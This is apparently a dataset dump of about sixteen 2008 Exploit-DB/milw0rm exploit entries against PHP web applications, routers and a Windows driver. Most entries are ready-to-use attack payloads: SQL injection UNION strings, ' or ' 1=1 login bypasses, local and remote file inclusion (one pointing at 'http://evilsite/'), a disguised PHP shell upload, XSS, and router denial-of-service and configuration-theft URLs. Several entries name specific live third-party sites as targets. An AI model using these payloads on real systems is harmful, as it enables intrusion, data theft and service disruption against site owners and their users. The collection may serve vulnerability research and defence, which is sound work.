QLWD/code_shield huggingface dataset:
标题: Zeeways Shaadi Clone 2.0 - Authentication Bypass (1) EDB-ID: 7066 CVE: 2008-6912 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-08 漏洞利用脚本: ==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
 Zeeways Shaadi Clone v2.0 Auth Bypass Vulnerability
==============================================================================

 [Â»] Script:             [ Zeeways Shaadi Clone v2.0 ]
 [Â»] Language:           [ PHP ]
 [Â»] Website:            [ http://zeeways.com/php-software/shaadiclone-v2.0-2.html ]
 [Â»] Type:               [ Commercial ]
 [Â»] Report-Date:        [ 08.11.2008 ]
 [Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ XPL ]===

 [Â»] http://localhost/[path]/admin/home.php


===[ LIVE ]===

 [Â»] http://megashaadi.com/admin/home.php
 [Â»] http://proposals.vinlak.com/admin/home.php
 [Â»] http://gmatrimonial.com/admin/home.php

 
===[ Greetz ]===

 [Â»] ALLAH
 [Â»] Tornado2800 <Tornado2800[at]gmail.com>
 [Â»] Hussain-X <darkangel_g85[at]yahoo.com>

 //Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
 //ALLAH,forgimme...

===============================================================================
exit();
===============================================================================

# milw0rm.com [2008-11-08] URL: https://www.exploit-db.com/exploits/7066
标题: Cyberfolio 7.12.2 - 'theme' Local File Inclusion EDB-ID: 7065 CVE: 2008-6265 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-08 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##################################################################
 #  [ Cyberfolio <= 7.12.2 ]  Local File Inclusion Vulnerability  #
 ##################################################################
 #
 # Script site: http://cyberfolio.org/
 # Download: http://cyberfolio.org/Version-7-12-2
 #
 # Vuln: http://site.com/cyberfolio_7_12.2/portfolio/css.php?theme=../../../../../../etc/passwd%00
 #      
 # Bug: ./cyberfolio_7_12.2/portfolio/css.php (lines: 30-33)
 #
 # ...
 #  if (file_exists("./themes/".$_GET[theme].".php")) {
 #      include_once("./themes/".$_GET[theme].".php");   // LFI
 #      }
 # ...   
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-11-08] URL: https://www.exploit-db.com/exploits/7065
标题: Anti-Keylogger Elite 3.3.0 - 'AKEProtect.sys' Local Privilege Escalation EDB-ID: 7054 CVE: 2008-5049 类型: LOCAL 平台: WINDOWS 发布日期: 2008-11-07 漏洞利用脚本: ////////////////////////////////////////////////////////////////////////////////////
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | ISecSoft, Inc. - http://www.remove-keyloggers.com                          | //
// |                                                                            | //
// | Affected Software:                                                         | //
// | Anti-Keylogger Elite <= 3.3.0                                              | //
// |                                                                            | //
// | Affected Driver:                                                           | //
// | Anti-Keylogger Elite Driver - AKEProtect.sys <= 3.3.3.0                    | //
// |                                                                            | //
// | Local Privilege Escalation Exploit                                         | //
// | For Educational Purposes Only !                                            | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | NT Internals - http://www.ntinternals.org/                                 | //
// | alex ntinternals org                                                       | //
// | 07 November 2008                                                           | //
// |                                                                            | //
// | References:                                                                | //
// | Exploiting Common Flaws in Drivers                                         | //
// | Ruben Santamarta - http://reversemode.com/                                 | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
////////////////////////////////////////////////////////////////////////////////////

Exploit:
http://www.ntinternals.org/ntiadv0802/AKEProtect_Exp.zip
backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32572-1.zip (2008-AKEProtect_Exp.zip)

Advisory:
http://www.ntinternals.org/ntiadv0802/ntiadv0802.html


# milw0rm.com [2008-11-07] URL: https://www.exploit-db.com/exploits/7054
标题: V3 Chat Profiles/Dating Script 3.0.2 - Authentication Bypass EDB-ID: 7061 CVE: 2008-5785 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-08 漏洞利用脚本: [~] V3 Chat - Profiles/Dating Script v3.0.2 Auth Bypass Vulnerability
[~]
[~] -----------------------------------------------------------------
[~] Discovered By: d3b4g
[~]
[~] contact: bl4ckend[at]gmail[dot]com  
[~] 
[~] Risk: High

 ---------------------------------------------------------------------

Exploit: USe this information to bypass admin login

username: ' or ' 1=1

password: ' or ' 1=1
-----------------------------------------------------------------------

Demo: http://v3chat.com/v3profiles/admin/



[~]----------------------------------------------------------------------
[~] Greetz tO: All fu3k3rz

# milw0rm.com [2008-11-08] URL: https://www.exploit-db.com/exploits/7061
标题: zeeproperty 1.0 - Arbitrary File Upload / Cross-Site Scripting EDB-ID: 7058 CVE: 2008-6915 2008-6914 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-08 漏洞利用脚本: ZEEPROPERTY v1.0 remote file Upload & XSS

author: ZoRLu msn: trt-turk@hotmail.com

home: www.z0rlu.blogspot.com

dork: "Designed & Developed by Zeeways.com"


first register to site 

you add this code your shell to head 

GIF89a; 

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php


after login to site and you change your profile ( direckt link: localhost/viewprofile.php )

add your photo ( you_shell.php upload ) after open new page you right clik your photo and select to properties 

copy photo link and paste your explorer go your shell

your_shell:

localhost/script_path/companylogo/[id].php


example for demo:

user: zeeways

passwd: testing:

change profile direckt link: http://www.zeeproperty.com/viewprofile.php

and your_shell link:

http://www.zeeproperty.com/companylogo/5622365.php


XSS for demo:

http://www.zeeproperty.com/view_prop_details.php?propid="><script>alert()</script>


thanks: str0ke & yildirimordulari.org  &  darkc0de.com

# milw0rm.com [2008-11-08] URL: https://www.exploit-db.com/exploits/7058
标题: 2WIRE DSL Router - 'xslt' Denial of Service EDB-ID: 7060 CVE: 2008-6605 类型: DOS 平台: HARDWARE 发布日期: 2008-11-08 漏洞利用脚本: 2WIRE ROUTER DSL DENIAL OF SERVICE


VULNERABLE
Model: 1701HG, 1800HW, 2071HG, 2700HG Gateway
Firmware: v3.17.5, 3.7.1, 4.25.19, 5.29.51

The DSL connection of some 2wire routers is droped when a request to /xslt with the value %X where X is any non alfa numeric character. 

PoC: (this can be set in an IMG tag or whatever)

http://gateway.2wire.net/xslt?page=%&
http://gateway.2wire.net/xslt?page=%@
http://gateway.2wire.net/xslt?page=%!
http://gateway.2wire.net/xslt?page=%+
http://gateway.2wire.net/xslt?page=%;
http://gateway.2wire.net/xslt?page=%'
http://gateway.2wire.net/xslt?page=%~
http://gateway.2wire.net/xslt?page=%*
http://gateway.2wire.net/xslt?page=%0
http://gateway.2wire.net/xslt?page=%9
http://gateway.2wire.net/xslt?page=%?
http://home...
etc...


hkm


hkm {@} hakim.ws 

Greets: UNDERGROUND.ORG.MX, daemon, acid_java, beck, dex.

# milw0rm.com [2008-11-08] URL: https://www.exploit-db.com/exploits/7060
标题: Enthusiast 3.1.4 - 'show_joined.php' Remote File Inclusion EDB-ID: 7059 CVE: 2008-5792 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-08 漏洞利用脚本: ########################## www.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title: Enthusiast 3 Remote Code Execution
# Vendor: http://scripts.indisguise.org/enthusiast/
# Bug: File Inclusion
# Vulnerable Version: 3.1.4 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
# Original Advisory: http://www.bugreport.ir/index_57.htm
###################################################################


####################
- Description:
####################

Enthusiast is a full-featured member listing collective management script. It is geared towards fanlisting owners who own multiple fanlistings, but easily

customizable for other types of listings as well?cliques, physical listings, taboo listings, and the like.


####################
- Vulnerability:
####################

+--> File Inclusion

When register_globals is enabled, Its possible to include arbitrary files from local or remote resources.

####################
- Code Snippet:
####################
/show_joined.php #line:261-264

<p class="show_joined_credits">
<a href="http://scripts.indisguise.org">Powered by Enthusiast
<?php include $path . 'show_enthversion.php' ?></a>
</p>

####################
- Exploits/POCs:
####################

POC: http://example.com/enth_3.1.4/enth3/show_joined.php?path=http://evilsite/ (this one includes show_enthversion.php from evilsite)
POC: http://example.com/enth_3.1.4/enth3/show_joined.php?path=../../evilscript.php%00 (this requiers magic_quotes_gpc to be disabled)

####################
- Credit :
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.comz

# milw0rm.com [2008-11-08] URL: https://www.exploit-db.com/exploits/7059
标题: E-topbiz Online Store 1 - 'cat_id' SQL Injection EDB-ID: 7048 CVE: 2008-5802 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-07 漏洞利用脚本: > > =================================================================
> > ======== E-topbiz Online Store 1 Remote File Sql Injection ======
> > =================================================================
> > home of script : http://e-topbiz.com/
> > By: Stack
> > ====Vulnerable Demo and Exploit ====
> >
> > PoC URL :
> > http://site.il/path/index.php?cat_id=-1%20unION/**/SELECT/**/concat_ws(0x3a,user(),database()),2,3,4,5,6/*
> >
> > Demo URL :
> > http://e-topbiz.com/trafficdemos/store1/index.php?cat_id=-1%20unION/**/SELECT/**/concat_ws(0x3a,user(),database()),2,3,4,5,6/*

# milw0rm.com [2008-11-07] URL: https://www.exploit-db.com/exploits/7048
标题: DELTAScripts PHP Classifieds 7.5 - SQL Injection EDB-ID: 7047 CVE: 2008-5805 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-07 漏洞利用脚本: [~] deltascripts phpclassifieds Remote Sql inj.
[~]
[~] detail.php (siteid) 
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 06.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

Exploit:

http://localhost/script_path/detail.php?siteid=[SQL]

[SQL]=

-99999999+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78+from+user/*

live sites:

http://www.deltascripts.com/phpclassifieds/livesites

for example:

http://www.saabcentral.com/classifieds/detail.php?siteid=-99999999+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78+from+user/*

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-07] URL: https://www.exploit-db.com/exploits/7047
标题: Mini Web Calendar 1.2 - File Disclosure / Cross-Site Scripting EDB-ID: 7049 CVE: 2008-5062 2008-5061 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-07 漏洞利用脚本: ************************(XSS / FD Vulnerability)**************

script:Mini Web Calendar, ver. 1.2
   
   
************************************************************************************************************
download from:http://www.smolinari.com/srm/download/mwcal/mwcal.zip?PHPSESSID=84ivc1h7ohn8f9ra7cgn66fj94
   
************************************************************************************************************


......................................................................................
local file xpl:
   
http://www.site.com/mwcal/php/cal_pdf.php?thefile=/etc/passwd

xss xpl:

http://www.site.com/mwcal/php/cal_default.php/>'><ScRiPt>alert(0)</ScRiPt>



***************************************************
***************************************************

Author: ahmadbady from http://www.deltahacking.net

my mail: kivi_hacker666@yahoo.com


***************************************************

# milw0rm.com [2008-11-07] URL: https://www.exploit-db.com/exploits/7049
标题: Myiosoft EasyBookMarker 4 - 'Parent' SQL Injection EDB-ID: 7053 CVE: 2008-5655 2008-5651 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-07 漏洞利用脚本: ==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
 Myiosoft EasyBookMarker v4 (Parent) SQL Injection Vulnerability
==============================================================================

 [Â»] Script:             [ Myiosoft EasyBookMarker ]
 [Â»] Language:           [ PHP ]
 [Â»] Website:            [ http://myiosoft.com/?1.4.0.0 ]
 [Â»] Type:               [ Commercial ]
 [Â»] Report-Date:        [ 07.11.2008 ]
 [Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ XPL ]===

 [Â»] http://localhost/[path]/plugins/bookmarker/bookmarker_backend.php?pagebm=mfolders&Parent=-99999/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(version(),0x3a,user()),5--


===[ LIVE ]===

 [Â»] http://myiosoft.com/products/EasyBookMarker/demo/plugins/bookmarker/bookmarker_backend.php?pagebm=mfolders&Parent=-99999/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(version(),0x3a,user()),5--



 
===[ Greetz ]===

 [Â»] ALLAH
 [Â»] Tornado2800 <Tornado2800[at]gmail.com>
 [Â»] Hussain-X <darkangel_g85[at]yahoo.com>

 //Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
 //ALLAH,forgimme...

===============================================================================
exit(); //EoX
===============================================================================

# milw0rm.com [2008-11-07] URL: https://www.exploit-db.com/exploits/7053
标题: Domain Seller Pro 1.5 - 'id' SQL Injection EDB-ID: 7052 CVE: 2008-5788 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-07 漏洞利用脚本: #################WwW.StarHack.Us#####################
#
#   Author : TR-ShaRk
#
######################
#
#   Web    : StarHack.Us OldKral.Com
#
######################
#
#   Email   : Admin@tr-shark.org
#   Msn     : Starhack@tr-shark.org
#            
######################
#
#   Script   : Domain Seller Proï¿½ v1.5
#
######################
#
#   SQL Injection Vuln. :
#
#   index.php?a=d&id=-4+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14--
#
######################
#
#   Demo   :

http://www.domainsellerpro.com/demo/index.php?a=d&id=-4+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14--
#
#
#  
#################WwW.StarHack.Us########################
Greetz: FataliSt,Webloader,JaCKaL,By-Reis,AranelWorM,RealWolker,DesTRoyeR

# milw0rm.com [2008-11-07] URL: https://www.exploit-db.com/exploits/7052
标题: SpeedStream 5200 - Authentication Bypass Configuration Download EDB-ID: 7055 CVE: 2008-6916 类型: REMOTE 平台: HARDWARE 发布日期: 2008-11-07 漏洞利用脚本: ######################################################################################

 SpeedStream 5200 Authentication Bypass - hkm 12/10/2008
 (Server: NetPort Software 1.1)

 It is posible to bypass authentication by modifying the Host header.
 If you use a Host that is not the authentic one it will not require authentication.

 http://189.255.255.255./          -  This would bypass authentication too.
 http://189.255.255.255./x.cfg     -  This downloads the full router conifguration.


 hkm [ @ ] hakim.ws
______________________________________________________________________________________
######################################################################################

# milw0rm.com [2008-11-07] URL: https://www.exploit-db.com/exploits/7055
标题: E-topbiz Number Links 1 - 'id' SQL Injection EDB-ID: 7050 CVE: 2008-5804 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-07 漏洞利用脚本: e-topbiz Number Links 1 php  ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

MaiL : darkangeL_G85@Yahoo.CoM
___________________________________

script    : http://e-topbiz.com/oprema/pages/numberlinks1.php

_____

ExploiT & Demo
______________

http://e-topbiz.com/trafficdemos/numberlinks1/admin/admin_catalog.php?action=edit&id=-2+union+select+concat(user

(),0x3e,version()),2,3,4,5--







____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | Sakab
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | G4N0K|
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-11-07] URL: https://www.exploit-db.com/exploits/7050
标题: MyioSoft Ajax Portal 3.0 - Authentication Bypass EDB-ID: 7044 CVE: 2008-5653 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-07 漏洞利用脚本: [~] MyioSoft Ajax Portal 3.0 Remote Auth Bypass Vulnerability
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 07.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] dork: "Powered by Ajax Portal 3.0"
[~]
[~] -----------------------------------------------------------

Exploit:

username: [real_admin_name] ' or ' 1=1  ( you must know admin_name )

password: ZoRLu

note: generally admin name: admin


admin login for demo:

http://myiosoft.com/products/AjaxPortal/demo/


example for demo:

admin: demo1 ' or ' 1=1

passwd: ZoRLu

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-07] URL: https://www.exploit-db.com/exploits/7044
标题: MyioSoft EasyBookMarker 4.0 - Authentication Bypass EDB-ID: 7045 CVE: 2008-5655 2008-5652 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-07 漏洞利用脚本: [~] MyioSoft EasyBookMarker Remote Auth Bypass Vulnerability
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 07.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

Exploit:

username: [real_admin_name] ' or ' 1=1  ( you must know admin_name )

password: ZoRLu

note: generally admin name: admin


admin login for demo:

http://myiosoft.com/products/EasyBookMarker/demo/


example for demo:

admin: demo1 ' or ' 1=1

passwd: ZoRLu

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-07] URL: https://www.exploit-db.com/exploits/7045
标题: MyioSoft EasyCalendar - Authentication Bypass EDB-ID: 7046 CVE: 2008-5654 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-07 漏洞利用脚本: [~] MyioSoft EasyCalendar Remote Auth Bypass Vulnerability
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 07.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

Exploit:

username: [real_admin_name] ' or ' 1=1  ( you must know admin_name )

password: ZoRLu

note: generally admin name: admin


admin login for demo:

http://myiosoft.com/products/EasyCalendar/demo/


example for demo:

admin: demo1 ' or ' 1=1

passwd: ZoRLu

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-07] URL: https://www.exploit-db.com/exploits/7046